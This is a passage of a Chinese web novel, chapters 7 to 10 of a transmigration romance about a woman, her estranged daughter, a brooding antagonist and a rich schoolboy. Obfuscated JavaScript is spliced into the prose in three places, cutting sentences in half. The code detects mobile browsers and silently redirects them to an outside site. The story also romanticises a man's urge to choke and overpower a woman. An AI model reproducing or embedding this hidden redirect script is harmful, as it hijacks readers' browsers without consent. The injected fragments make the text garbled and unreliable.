姜渔默默地抬头看去——帮她说话的人叫尹东宇,是班里的体育委员。 姜渔眸光微闪,心底涌起一丝诧异。 这就怪了,这个尹东宇不是最看不起她这个特优生、乡巴佬吗,平日里总会挑起话头贬损她一番,今天怎么转性了? 姜渔再一想……嗯,他好像是昨天给姜以柔带路最殷勤的那个吧? 姜渔不由得在心里冷笑一声。 尹东宇一边拦着那名男同学,一边暗戳戳地偷看姜渔,似乎在纠结怎么开口搭话。 那男生用力挣脱开尹东宇的桎梏,不可思议地质问道:“尹东宇,你发什么疯,干嘛帮这个乡巴佬出头?” 这时,竟然又有一个女生“仗义执言”了,“喂,蒋峰,大家都是同学,你说话别那么难听好不好?” 这个女生也是昨天给姜以柔带路的学生之一。 尹东宇赞同地连连点头,“就是就是!” 蒋峰目瞪口呆,猛地抬高了音量:“不是你们……有病吧!” 以往他嘲笑特优生,他们不都是第一个跟团吗?今天搁这儿装什么好人?! 尹东宇支支吾吾的不知道该怎么解释—— 他倒是想说原因,但……方少的警告之语仿佛还在他耳边回响,他实在不敢将昨天的事透露半个字。 尹东宇最后干脆一拍桌子,大义凛然地说道:“我就是看不惯你欺负同学!” 话音刚落,不等蒋峰有所反应,旁边传来一声嗤笑。 几人默默望去,只见姜渔正冷冷地睨着他们,唇角的弧度是明晃晃的讥嘲。 蒋峰不屑地冷笑一声:“看见了吧?你给她出头,人家还不领你的情呢!我看你就是小丑一个!” 尹东宇耸了耸肩,竟然完全不在意姜渔的态度。 蒋峰还想再说些风凉话,但姜渔已经低下头继续看书,一副完全没将他放在眼中的样子,顿时让蒋峰心头火起。 “喂,我跟你说话呢!”蒋峰一把夺过她的书本,挑衅般扔到了地上。 姜渔猛地抬头瞪向他,乌黑的眼中燃着愤怒的光,“神经病,滚!” 往常面对这些人的冷嘲热讽,姜渔从不理睬。或许是昨天被刺激大了,姜渔今天终于反抗了一次。 蒋峰闻言愣了很久,然后勃然大怒,“你他妈说什么……” 尹东宇连忙想拦住他,但蒋峰压根不卖他面子,眼看着他的拳头就要落到姜渔的身上,后方伸出一只手,精准地抓住了蒋峰的手臂。 大家一愣,齐齐转头看去。这一看之下都不由得抖了抖。 那只拦住蒋峰的小臂肌肉线条十分漂亮,让人一看就知道这具年轻的身体充满了爆发力。 修长劲瘦的身材,标志性的一头白发,还有那双昳丽与锋锐并重的凤眼——方镜麒面无表情地站在那里,哪怕一言不发,也让在场所有人噤若寒蝉。 蒋峰脸色发白,被方镜麒抓住的那只手臂在不停颤抖。如果不是死命忍耐,他恐怕已经忍不住痛叫出声了。 “方、方少……”蒋峰一脸迷茫地开口试探道。 方镜麒可不是会管闲事的人啊,他这是做什么?难不成要为特优生出头? 所有人都十分迷惑,小心翼翼地打量这位煞神。 已经有人偷偷讨论起来了:“方少今天居然来上学了?稀奇……” “他跟蒋峰有矛盾吗?” “切,蒋峰他也配?” “那方少这是做什么……总不会是为了帮特优生吧?” 顶着众人或忌惮或疑惑的目光,方镜麒终于有反应了。 他反手一甩,竟直接将蒋峰一个男生甩了出去,却没有给他一个眼神——仿佛随手丢掉一个微不足道的垃圾。 方镜麒施施然上前,长腿一迈,站到了姜渔的桌前。 他居高临下地打量着姜渔,凤眸凛冽而不近人情。 同班一年多,如果不是昨天……方镜麒根本就对这个人毫无印象。 他看着姜渔身上洗得发白的校服和鞋子,有些嫌弃地皱了皱眉头。 方镜麒清了清嗓子,颇有些纾尊降贵地淡声道:“放学不准走,我有事找你。” 话落,方镜麒便双手插兜,携着一身低气压离开了。 众人:“……???!!!” 两秒后,方镜麒又停住了。 他转头盯住一个男生,直将那男生看得额头冒冷汗,才幽幽地问道:“我座位在哪儿?” 众人:“……” 男生颤巍巍地指了个方向。 回到自己的位置后,方镜麒直接往桌子上一趴,开始补觉。 片刻后,原本安静的教室里响起窸窸窣窣的讨论声,每个人都一脸惊奇地交流着什么。 “卧槽,方少居然让特优生放学别走,他找她干嘛?” “该不会要教训姜渔吧?” “感觉不像,你没看刚才方少还抓着蒋峰不让他欺负姜渔呢!” “难不成……” 众人对视一眼,从彼此的面上看到了不敢置信。 “方少喜欢上特优生了,放学后想告白?!” 这个猜测一出,班里差点炸锅,要不是顾忌着正睡觉的校霸,恐怕争论声能掀翻房顶。 “不可能,绝对不可能!” “方少都为了特优生来上课了……还有什么不可能的!” “不是,有钱有势大少爷爱上清纯倔强小白花,方少这是要演偶像剧吗?” …… 种种讨论声中,蒋峰的脸色格外难看。他捂着自己的手臂,感受到那份尖锐的痛感,不由得心底生寒。 方少竟然给那个穷鬼出头?该死的…… 蒋峰恨恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155856|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瞪了眼姜渔,很快又掩饰般垂下眸子,他如同泄气的皮球一样回到自己的座位上。 唉,以后算是惹不起姜渔了,躲远点吧。 不止是蒋峰,很多以前挤兑过姜渔的学生都很心虚,生怕有一天她真的飞上枝头后,会报复他们。 不少人望向姜渔的眼神里充满了忌惮与……嫉妒。 作为风暴的中心之一,姜渔格外淡定。 她仿佛没有听到方镜麒的话,自顾自低头将书本捡起来,便认真地学习着。 在躁动的班级中,还有一个人未曾参与讨论,那就是乐柠。 乐柠看上去有些心不在焉,时不时偷偷瞥一眼姜渔,不知道在想些什么。 旁边,她最好的朋友林子悦轻轻杵了杵她的腰,担忧地问道:“乐柠,你没事吧?” 乐柠乍然回神,笑道:“我能有什么事?” 林子悦抿唇,低声安慰道:“你别担心,方镜麒绝对不可能看上姜渔的……” 她知道乐柠对方镜麒有那么点朦胧的好感,此时听到同学们都在讨论,说方镜麒可能喜欢姜渔,便担心乐柠会伤心。 谁知乐柠却一脸无所谓地说道:“方镜麒啊?随便吧。” 林子悦:“?” 林子悦有些惊讶地看着她,正想追问她难道不喜欢方镜麒了吗,却见乐柠突然站起身,径直朝某个方向走去。 很快,乐柠站定在姜渔的座位前,手里还拎着一个盒子。 “姜渔同学。”乐柠朝她露出一个温和开朗的笑容,并将手里的食盒轻轻放在她桌上,“这是我家人亲手做的甜点,你尝一尝吧!” 听到她的声音,姜渔正奋笔疾书的手瞬间顿住。 她缓缓抬起头,但目光却并没有落在乐柠的脸上,反而落在了她的脖颈间—— 乐柠的脖子上戴了根红绳,下面坠着一个月牙形状的玉扣。 姜渔的目光在她的玉坠上停留了很久,她握着笔的手不断用力,指尖都泛起了白色,黑沉的眸光翻涌,显然她极其不平静。 良久,她冷笑一声,毫不客气地说道:“滚!” 乐柠的笑容顿时僵在了脸上,一句“我们做朋友吧!”也吞回了肚子里。 “哎你这人怎么这样……”林子悦看不下去了,冲过来想争辩些什么。 乐柠赶紧将她拉走,自己也顺带远离了姜渔。 她跟好友小声叹气道:“她大概是心情不好,算了。” 同一时间,姜渔的家里,666猛地惊醒:“我靠,发生了什么?姜渔的黑化值怎么突然增加了10%啊啊啊?!” 姜以柔刚起床没多久,她慵懒地打了个哈欠,连问都懒得问一声,自顾自去洗漱了。 只有666如临大敌地查看情况,试图找出姜渔黑化的原因。 半晌,666严肃地说道:“宿主,我刚才翻了一下针对姜渔的远程监控,已经找出了她黑化的原因。” “她在听到乐柠的家人亲手给她做了甜点时,黑化值立刻涨了——说明她嫉妒女主有家人的宠爱!” “所以……宿主,请你立刻行动起来,做出一份美味的菜肴,中午的时候我们也去给姜渔送温暖!” 姜以柔正在洗脸,闻言诧异地抬起头反问道:“你让我做饭?” 那张沾着水迹的脸生动诠释了什么叫出水芙蓉、人比花娇,可惜此刻无人欣赏。 系统666沉痛点头:“都是为了完成任务,宿主加油吧!别担心,我会给你最详细完备的菜谱……” 半个小时后,姜家的小房子里升起滚滚浓烟。 姜以柔手足无措地站在厨房里,“着、着火了……” 灶台处燃起了火苗,且有逐渐扩大的趋势。 “啊啊啊!灭火器!快去找灭火器啊!” 然而这破旧的居民楼里哪有灭火器呢? 姜以柔眼睁睁地看着火苗越窜越大,滚滚浓烟透过窗户直往外飘。 “咳咳……”姜以柔难受地呛咳几声,她一边捂着口鼻,一边手忙脚乱地试图用外套扑灭这火,可始终无济于事。 就在这时,门口处响起了急促的敲门声。 但姜以柔正手忙脚乱地灭火,根本没有听到。 敲门声响了一会儿后,门口又安静了。 下一秒,砰的一声巨响,姜家那老旧的木门竟然直接被撞飞了出去。 一个男人快步冲了进来,目标明确直奔厨房。 姜以柔只觉得腰间一紧,一只有力的手臂箍住她的腰,将她拉进了一个宽厚炙热的怀抱中。 男人将她的头按在胸口,防止被火伤到,随手抓起一件外套,用力扑盖在着火的地方。 那只手臂肌肉结实,线条流畅,爆发力极强,根本不是姜以柔能比的,几下就把火势扑灭了。 姜以柔一边咳嗽,一边艰难地抬起头,看到了一张不算太陌生的脸。 这不是那个大反派吗? 8. 第 8 章 一见到这张英俊但冷酷的脸,姜以柔不由得回想起昨天被人掐住脖子时的窒息感。 脖颈仿佛又在隐隐作痛,她一下子警铃大作,开始手脚并用地推拒着他,试图远离这个一言不合就动手的煞星。 幸好,这双昨天将她摁在墙上难以撼动的铁臂,今天倒是没怎么用力,她很轻松就跟大反派拉开了距离。 “你……你怎么进来的?”姜以柔连退好几步,警惕地盯着他。 谢凛正低头检查其他地方还有没有火苗,听到她的质问后,身形微滞。 这时,一阵风吹来,姜以柔下意识地看过去,正好看见了她家的大门倒在地上。 姜以柔:“……” 姜以柔想了想,认真地说道:“我家很穷的,如果你要抢劫的话,建议你换个人选。” 这下轮到谢凛无语了。 良久他才面无表情地解释道:“我看见你家窗户冒浓烟了。” 所以,他是来救火的,不是来打劫的。 “哦,那谢谢你啊。”姜以柔稍微放松了一点,但还是对谢凛心怀忌惮。 她特意找了个离谢凛很远的安全距离,才喘着气坐下来休息,心有余悸般擦着额头的汗水。 谢凛站在厨房里,高大的身躯衬得厨房更加狭小。 他灭完火之后没有立刻离开,反而双臂环胸,幽深的眸光一寸一寸扫视过这个破旧狭小的家。 最后,他的目光落在这个家里唯一的亮色上。 姜以柔正愣愣地蜷在沙发上,她乌发凌乱,有些发丝被汗水浸湿,黏在白皙的侧脸上,哪怕如此狼狈,却依旧美得令人心颤。 她似乎被这场意外吓到了,脸色泛着苍白,几乎如透明的水晶,透着股让人心折的脆弱感。 谢凛静静地凝视着她,狭长的眼眸越发幽深,几乎压不住那强势的侵略性。 就像是山林中强大的野兽,在看到一只美丽却脆弱的兔子时,会有种按住她的身体,叼住她的喉咙的施虐欲。 谢凛的呼吸不自觉沉重几分,却在看到她脖颈处的红痕时乍然顿住。 谢凛薄唇紧绷,眉心也缓缓蹙起,眸光长时间地停留在她的脖颈处。 昨天的掐痕到了今天,沉淀成更触目惊心的深红色。 姜以柔本就皮肤白皙,那红痕在她脖颈上尤为显眼,甚至都有些刺眼了。 半晌,强势狠戾如谢凛,竟然匆忙地垂下了眼眸,仿佛被那伤痕刺痛了一般。 谢凛一双伤痕累累的拳头紧了又松,似乎在压抑着什么。 良久,他突然动了,长腿一迈径直朝姜以柔走去。 等到姜以柔反应过来的时候,谢凛已经逼近到她面前。 她只觉得一片阴影笼罩了她,抬头第一眼就看到了他宽阔的胸膛。 那样高大的轮廓,坚实的臂膀,让姜以柔瞬间警铃大作。 “你、你想干什么?!”姜以柔惊恐地质问道。 姜以柔的力气对于谢凛来说,跟蚊子叮咬恐怕没什么两样。 谢凛面无表情地俯身逼近,抬手直接捏住了她的下颌。 姜以柔更是害怕,手脚并用地反抗着。 一个巴掌直接打在了谢凛的侧脸,虽然没有撼动他,却着实让谢凛愣了好一会儿。 他脸上受伤是常事,但是……还是第一次挨这样柔软的巴掌。 脸上的疼痛几乎可以忽略,存在感更强的却是那股萦绕在鼻尖的幽香。 当谢凛有些怔怔出神时,他的身上又挨了一脚。他低头一看,姜以柔的脚正踩在胸口,还不断地用力,试图把他踹走。 谢凛看着那只纤弱得仿佛能一手折断的脚踝,良久才再次将目光移到她的脖颈上。 谢凛掐着姜以柔的下颌,强迫她抬起头来,另一只手在她脖颈上的红痕处细细摸索着。 比起昨天那令人窒息的手劲儿,今天他的动作格外轻,像是把手中那截脖颈当成脆弱的琉璃。 姜以柔仍旧在手脚并用地推拒,她两手胡乱挥舞着,几次打在谢凛的脸上、身上,有时候阻隔了谢凛查看她脖颈的视线,谢凛会微微皱起眉头。 他有一瞬间想干脆制住闹腾的姜以柔,让她别再吵闹。 但下一秒他又看到了她脖颈上的淤痕,抿着唇忍耐了下来。 谢凛的拇指细细地滑过她的脖颈,在喉咙处着重检查了一番。大概半分钟的时间,谢凛便直起身体。 他几乎没有停顿,直接转身离开,很快就踏出姜家门口,身影消失不见。 姜以柔愣住了,手还保持着推拒的姿势,一时间没有回过神来。 她心有余悸地抱紧了自己,心里满是疑惑—— 大反派到底想干嘛啊?吓死她了…… 姜以柔有些气急败坏地质问666:“喂,你刚才怎么不救我啊?我要是出事了,谁帮你做任务?!” 系统666同样对谢凛的举动感到疑惑,但他很肯定地说道:“宿主,我刚才并没有从谢凛身上检测到恶意,所以就没有出手。” “你放心,如果你真的遇到危险,我会启动应急程序的。” 姜以柔微微一怔,追问道:“什么应急程序?” “比如,若是谢凛真的想对你不利,我会……呃,电晕他。”666解释道。 姜以柔抚了抚胸口,恨恨地道:“你刚才就应该电晕他!” 一阵凉风吹过,姜以柔一抬眼就看到了她家空荡荡的大门,让刚经历过惊吓的她非常没有安全感。 虽然谢凛莫名其妙地走了……但谁知道他还会不会再回来?! 姜以柔咬了咬牙,立刻从沙发上起身。 她先是试图把门修好,可是根本搬不动躺在地上的门板;她又试图把沙发推过去挡住门,但是……沙发也推不动。 最后,姜以柔脸都憋红了,勉强把那只能坐四个人的小饭桌搬了过去…… 刚放好饭桌,姜以柔还没来得及喘口气,就惊叫着连退好几步。 因为谢凛又出现了! 姜以柔连连后退,警惕地盯着他。 但既然666说过会保证她的安全,她倒是没那么害怕了。 谢凛出现后,先是打量了眼气喘吁吁的姜以柔,然后垂眸看向被她“堵”在门口的饭桌。 谢凛沉默片刻,然后——抬脚跨过饭桌,毫无阻碍地进了屋。 姜以柔:“……” 请问这是在羞辱她吗?:) 不等姜以柔开口质问他到底想做什么,谢凛走近,将一样东西递到她面前。 姜以柔下意识地抬手接过来,看到是一盒药后愣了愣。 谢凛终于开口了,他的声音有些哑,总带着股不近人情的冷意:“跟昨天的药膏一起用。” 说完他就不再看姜以柔,转身去了门口。 他搬开那碍事的饭桌,开始把门板重新装回去。 姜以柔愣愣地看了他好一会儿,又若有所思地低头看着手里的药。 跟昨天的药膏一起用…… 所以,昨天那个药膏也是他给的吗? 姜以柔面色古怪地摸了摸自己的脖子,原来……他刚才是想查看她的伤势啊? 姜以柔无语地跟666吐槽道:“他就不能跟我说清楚吗?” 害得她差点吓到魂儿都没了。 系统666想了想,解释道:“大概是因为,他在原著里就是个冷漠阴沉,不擅长且不屑于跟人交流的……反派?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155857|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……冷漠?”姜以柔挑了挑眉,默默地望向正在修门的谢凛。 他穿着黑色工装背心,双臂一抬,直接将木门搬了起来。那露出的手臂上肌肉绷紧,线条流畅结实,充满爆发力。 一扇实木门,在谢凛的手中竟像玩具一般,很快就修了个差不多。 谢凛一声不吭地干活,天气很热,姜家又没有空调,他很快就出了一身的汗。 汗珠顺着他的额角流下,淌过冷硬的下颌线,汇聚在锁骨处。最后竟直接顺着他胸肌的沟壑流下,隐没在黑色背心下,洇出一片深色的痕迹。 姜以柔重新坐回沙发上,单手托腮,饶有兴味地盯着谢凛。 她的眼神流连过他英俊的脸庞,结实的胸肌和劲瘦的腰腹,唇角带着若有似无的笑意。 “我看他好像也没那么冷漠嘛!”姜以柔对666说道。 甚至……还挺热心的? “呃……这扇门毕竟是他弄坏的,估计他是出于责任感吧!”666试图解释大反派这反常的举动。 姜以柔懒得回应666,她一边观察着谢凛,一边若有所思地想着什么。 很快,大门便被修好了。 谢凛盯着修好的门看了一会儿,似乎意识到自己该走了。 他身形微动,下意识地转头想要看向姜以柔的方向,但他最后硬是止住了这份冲动。 谢凛打开房门,在一步踏出门后,身体顿了顿。 然后,他头也不回地说道:“以后,不要随便靠近我。” 谢凛垂在身侧的手不自觉捏成拳,眸光也暗了几分。 战斗的本能已经刻进他的骨血中,贸然靠近他的人……都会被伤到。 这是他给姜以柔的警告。 说完,他抬脚便要离开。 姜以柔单手托腮盯着他的背影,唇边隐约勾起一个别有深意的弧度。 下一秒,她突然开口叫住了他,“等一下。” 谢凛离开的身影顿住了。 姜以柔单刀直入,竟然说出了一个很无理且冒昧的请求:“你可以帮我做饭吗?” 系统666很震惊:“宿主你疯了?竟然主动拜托反派?不对,反派根本不可能答应这种要求的……” 姜以柔不去管666的聒噪,说完之后就静静地看着谢凛。 谢凛也因为这个请求愣了一瞬,他转过身,皱眉看向姜以柔,沉声道:“我不会做饭。” 系统666唉声叹气:“你看吧!他果然拒绝了!” 拒绝? 姜以柔意味深长地挑了挑眉稍。 随即她一手抚上自己微红的脖颈,纤秀的眉心微微蹙起,眉眼间染上了一抹清愁。 她幽幽地叹气道:“唉,我今天喉咙很不舒服,一闻到油烟味就难受……” 谢凛顺着她手上的动作,眸光落到她脖颈的红痕上,幽深凌厉的眼瞳似乎微微颤了下。 他薄唇紧抿,眉心深锁,神情变得有些冷硬可怕,一股令人生畏的气场扑面而来。 系统666吓得一缩脖子,差点想立刻给自家宿主启动保护机制。 然而下一秒,666就看到…… 大反派沉着脸不语,却径直走进了姜家的厨房。 系统666:“……???” 眼睁睁看着大反派竟然真的皱眉拿起了锅铲,似乎要研究该怎么做饭,666发出不敢置信的声音: “我靠,大反派是不是被夺舍了?!” 看着谢凛那高大的身影在厨房里忙碌,姜以柔唇角那隐晦的笑意逐渐扩大,美眸中闪动着狡黠与得意。 啧啧,什么冷酷无情的大反派,看来…… 也不过是个普通男人罢了。 9. 第 9 章 两个小时前,姜以柔尚在为做饭的事而发愁,险些把自家的小厨房烧掉。可现在,她正优哉游哉地蜷缩在沙发上,时不时欣赏一番厨房里忙碌的男人。 厨房里的谢凛可比她忙多了。 谢凛的眉头紧紧皱着,冷硬的俊脸自然散发出令人胆寒的气场,不过此时他面对的并不是拳场上的敌手,而是……菜谱。 他一边蹙眉钻研着菜谱上的步骤,一边试探地往锅里加入食材。 锅铲在他的大手中像是玩具一样,动作虽然很生疏,但却有条不紊。 渐渐的,厨房里竟真的飘出饭菜的香气。 姜以柔的表情十分漫不经心,语气却是很刻意的惊喜:“哇,好香啊,你真的是第一次做饭吗?也太厉害了……” 谢凛手上的动作一滞,他薄唇微抿,并没有回应姜以柔。 但手上的动作却默默加快了些。 谢凛的表情依旧冷漠,但耳朵有些发红,大概是被厨房里的热气熏腾出来的。 临近中午时,姜家的大门被打开了,姜母瘦小佝偻的身影出现在门口。 姜父姜母打了好几份零工,每天都早出晚归,他们不仅要支撑一家人的生活费,同时还要供外孙女上学,繁重的生活压力几乎压垮他们的身体。 “小渔,妈买了条鱼,给你补补身子……”姜母一进门就迫不及待地说道。 正常情况下,老两口清晨出门,直到晚上才会回家。 但就在昨天,离家多年的女儿终于回来了,老两口就决定每天中午有一个人回家,给闺女做午饭。 下一秒,姜母的声音戛然而止。 她惊恐地看着厨房里的高大男人,吓得手里的鱼都掉到了地上。 “你、你……”姜母抖着手指点谢凛,差点吓得一口气没喘上来。 谢凛面色平静,连一个眼神都没有分给姜母,只自顾自地炒着菜。 恰好最后一道菜完成,他将之端到饭桌上,而姜以柔早就在桌前坐好了。 谢凛默默地盯着她,没有说话,但也暂时没有离开的意思。 姜以柔毫不客气地把每道菜都尝了一遍,眉心不自觉蹙起,咕哝道:“有点太淡了……” 谢凛薄唇微抿,眉目间的低气压有些摄人。 姜母在旁边看得心惊胆战,恨不得扑上去捂住女儿的嘴巴。 让这个煞星做饭已经够离谱了,她怎么还敢大喇喇地说人家做的饭不好吃啊?! 不要命了?!!! 姜母几乎是随时防备着谢凛暴起打人,但谢凛除了脸色有点难看之外,岿然不动,似乎很平静。 姜以柔丝毫察觉不到周围的低气压,自顾自又尝了几个其他的菜,说道:“但是对于第一次做饭的人来说,已经很棒了!” 姜以柔抬头望向他,温柔一笑:“谢谢你。” 谢凛怔怔地低头与她对视。 那张扬起的脸实在很小,还没有他的手掌大,白皙小巧的脸上,每一处五官都如同上帝精心雕琢而成,组合在一起更是让人心惊的美丽。 此时此刻,那娇嫩的红唇微微翘起,露出一个温软的笑容,微微眯起的眸子里仿佛有星河散落,亮得晃人心神。 谢凛身体微僵,素来冷硬的脸上有一瞬间的恍惚。 但很快,他生硬地转头移开视线,不再去看那张勾人心魄的脸,只有那剧烈起伏的胸膛昭示着他心里的不平静。 良久,他的呼吸终于平稳,绷着脸往门口走,想要离开这里。 在握住门把手的那一刻,谢凛微微顿住,随即头也不回地说道: “两不相欠。” 四个字冷硬如冰,又是那股拒人于千里之外的煞气。 大门开合,谢凛高大挺拔的身影消失不见。 姜以柔眉头微挑,若有所思地咀嚼他的话:“两不相欠?” 她低头看着这一桌饭,面上浮现出一抹了然。 谢凛的意思是,昨晚意外误伤她的事,用这顿饭还清了? 这是要跟她划清界限的意思吗? 姜以柔轻哼一声,不以为意地笑了笑。 终于,她注意到了一旁傻站着的姜母,笑着招呼道:“快来一起吃饭吧!” 她不太习惯对两个刚认识一天的人叫爸妈,所以会刻意避开称呼。 眼见着姜母仍旧恍恍惚惚地回不过神,姜以柔只得上前拉住她,将她带到餐桌前坐下。 过了很久,姜母终于猛然惊醒,她一把抓住女儿的手,急切地问道:“小柔啊,他怎么会在咱家?哎呦喂他没欺负你吧?” “没有啊。”姜以柔泰然自若地摇了摇头,“他帮我做饭来着。” 姜母的脸色变得有些古怪:“他……为啥帮你做饭啊?” 姜以柔笑了笑:“不重要。” 说着她往姜母碗里夹了些菜,催促道:“赶紧吃吧,一会儿我去给小渔送饭。” “你要给小渔送饭?”姜母愣了愣,随即欣慰地点了点头,“好,好!你终于长大了……” * 这次去圣维尔国际学校,姜以柔特意戴了个口罩。另外还从姜家翻出一条陈旧的丝巾,围在脖颈处遮挡红痕。 “宿主,你戴口罩干嘛?生病了吗?”666十分单蠢地问道。 姜以柔意味不明地笑了一声:“我是担心惹麻烦。” 系统666非常疑惑:“虽然贵族学校的学生大多都不喜欢姜渔,但也不至于对你做什么,你是不是太夸张了?” 姜以柔:“……” 姜以柔微笑道:“我跟你这种没有审美的系统没话说,闭嘴吧。” 系统666:“???” 圣维尔国际学校中的学生大多是权贵子弟,对生活品质有很高的要求,很多人都不喜欢吃食堂,会由家中的佣人、保姆等每天送饭。 姜以柔跟工作人员说明来意后,顺利地进入了学校,在食堂安静地等待姜渔放学。 上午的放学铃声响起时,其他学生都鱼贯而出,姜渔却坐在位置上纹丝不动——她向来都是吃从家里带来的馒头咸菜。 当有人来通知她,她的妈妈给她送饭来了时,姜渔的第一反应是不信。 但那位职工说得很肯定,让她赶紧去食堂找妈妈。 姜渔面色微变,很快又恢复了平日的冷漠,“麻烦您告诉她,让她直接回去吧。” 那名工作人员迟疑地看着她手里的馒头,不由得真心劝道:“馒头有什么好吃的,赶紧去食堂吧,你妈妈带了很大一个食盒呢。” 姜渔缓慢但坚定地摇了摇头,“我不去。” 工作人员见劝不动她,只能无奈地离开,委婉地告知了姜以柔这个结果。 姜以柔倒是不怎么意外,无奈地耸了耸肩,提起食盒便要离开。 只有666无法接受,抓狂地抱怨道:“啊啊啊!女配不是缺爱吗?她怎么会拒绝你的爱心午餐?!” 姜以柔无所谓地耸了耸肩,说:“慢慢来呗。” * 校园餐厅里的贵宾包间内,方镜麒身边围了一圈人,都是些经常一起混的男生。 面前的这桌菜,方镜麒基本没动,他只沉着脸望向窗外,凤眸凌厉,不知道在想些什么。 “麒哥,喝酒吗?” “不喝。” “抽烟吗?” “不抽。” “那……” 方镜麒拧起眉头,不耐烦地冷声道:“闭嘴,吵死了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155858|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >其他几个男生面面相觑,挤眉弄眼地给对方使眼色,暂时不敢出声触霉头了。 他们彼此眼神交流着,抓心挠肝地特想问一个问题: 你放学后到底要跟特优生说什么? 但看着方镜麒那黑沉的面色,他们还是把话咽了回去。 过了一会儿,有个男生突然闯进包间,兴冲冲地对方镜麒说道:“麒哥,有个关于特优生的消息,你可能会感兴趣!” 方镜麒漫不经心地问道:“特优生?谁?” 那男生一噎,才讪讪解释道:“就……就是姜渔。” 没成想方镜麒烦躁地皱了皱眉,语气也变得不耐:“姜渔又是谁?少特么烦我!” 众人:“……” 不是,哥,您上午亲口跟姜渔说的,让她放学别走,怎么连人家的名字都不知道呢?! 那男生嘴角微抽,灰头土脸地想离开,但下一秒又响起了方镜麒的声音。 “你等等,姜渔……”方镜麒揉了揉眉心,终于从“姜”这个挺特殊的姓氏,回想起来她跟心心念念之人的关系。 姜渔啊,不就是那个女人的……女儿吗? 方镜麒面色沉凝,恨恨地磨了磨牙,冷声问道:“她怎么了?” 那男生被方镜麒的反复无常搞得一愣,很快就回复道:“刚才姜渔她妈来给她送饭,但姜渔不知道为啥死活不吃,现在正在教室里啃馒头呢……” 男生本意是想告诉方镜麒,你喜欢(疑似)的女生正在啃馒头,凄凄惨惨小白菜一样,这是麒哥你英雄救美的好机会啊! 谁曾想,方镜麒闻言反应极大,可说的话却完全出乎他们的意料。 方镜麒猛然起身,幅度大到将沉重的椅子都掀翻了,巨大的声响让在场所有人都愣住了。 方镜麒长腿一迈,风一般冲到那男生面前,一把揪住他的领子,厉声质问道:“她在哪?” 男生被方镜麒骇人的神色吓得话都说不清,半晌才说:“姜渔在……在教室呢!” 方镜麒凤眸一瞪,像一座即将喷发的火山一般可怕,他嗓音冰冷,咬牙切齿地说道:“我是问你……姜渔她妈在哪儿?!” 众人:“……???” 男生更是懵了,磕磕绊绊地说:“应该已经走了……我也不知道啊!” 方镜麒暗骂一声,干脆甩开那个男生,不顾其他人愕然的眼神,一阵风似的冲了出去。 方镜麒径直跑到自己的停车的地方,长腿一跨便骑了上去。 银白色的机车沉重而张扬,流畅的线条有种野性的美感。 方镜麒连头盔都没带,一鼓作气启动机车,发动机轰鸣,仿佛一只凶兽在咆哮怒吼,下一秒,银白色的机车划出一道残影,眨眼间消失在原地。 姜渔正提着食盒走在回家的路上,公交站离学校有点远,她要走好长一段时间。 突然间,发动机的轰鸣声隐约响起,并且声音越来越大,好像有什么在迅速逼近。 在姜以柔没反应过来的时候,一阵狂风惊起,同时有什么东西从她身边飞速掠过,带起的气流强劲而有力,差点将她掀翻。 姜以柔踉跄几步,好不容易才稳住身形,她惊疑不定地抬头看去,这才发现是一辆机车从身边经过。 姜以柔刚想抱怨几句,却见那辆机车在速度极快的情况下,一个飘移转弯,轮胎在地面上摩擦出刺耳的声音。 姜以柔吓得后退几步,差点以为要出车祸了,但片刻后,那辆机车稳稳地侧停下来。 ——正好把她的前路挡得严严实实。 姜以柔有些狐疑地打量起那辆机车,终于发现,骑车的人是个有点眼熟的白毛…… 白毛随意停好机车,沉着脸大步朝她走来。 10. 第 10 章 姜以柔眼睁睁看着方镜麒气势汹汹地朝她逼近,不由得头疼地蹙了蹙秀眉,心底暗叹一声“麻烦”。 但是,当方镜麒黑着脸逼到近前时,姜以柔已经十分自然地换上一副惊喜的微笑,热情招呼道:“方同学,好巧啊!” 十八岁的少年腿长肩阔,俊美非凡,那双精致狭长的凤眸更是如同绘出来般摄人,只是其中燃着令人胆寒的怒意。 方镜麒在她身前站定,居高临下地睨着她,冷笑道:“不巧,我是专门来找你的。” 姜以柔的心理素质不可谓不强,她做出一副惊讶的模样,问道:“方同学,你找我有什么事吗?” 姜以柔面若桃花,娇艳非常,当她浅笑着望向你时,更让人有种如坠云端的恍惚感,恨不能将一切奉送给她。 但现在,方镜麒看着她脸上的笑容,心底的怒气却越来越浓。 他不由得想起昨天晚上,他对着那张纸条纠结不已,满心烦躁。 好不容易他把自己哄好了,哪怕她结过婚,哪怕她已经有了孩子,哪怕她的孩子跟他差不多大……他都可以不在乎! 但是…… 一回想起得知号码是空号的那一刻,方镜麒几乎有种杀人的冲动。 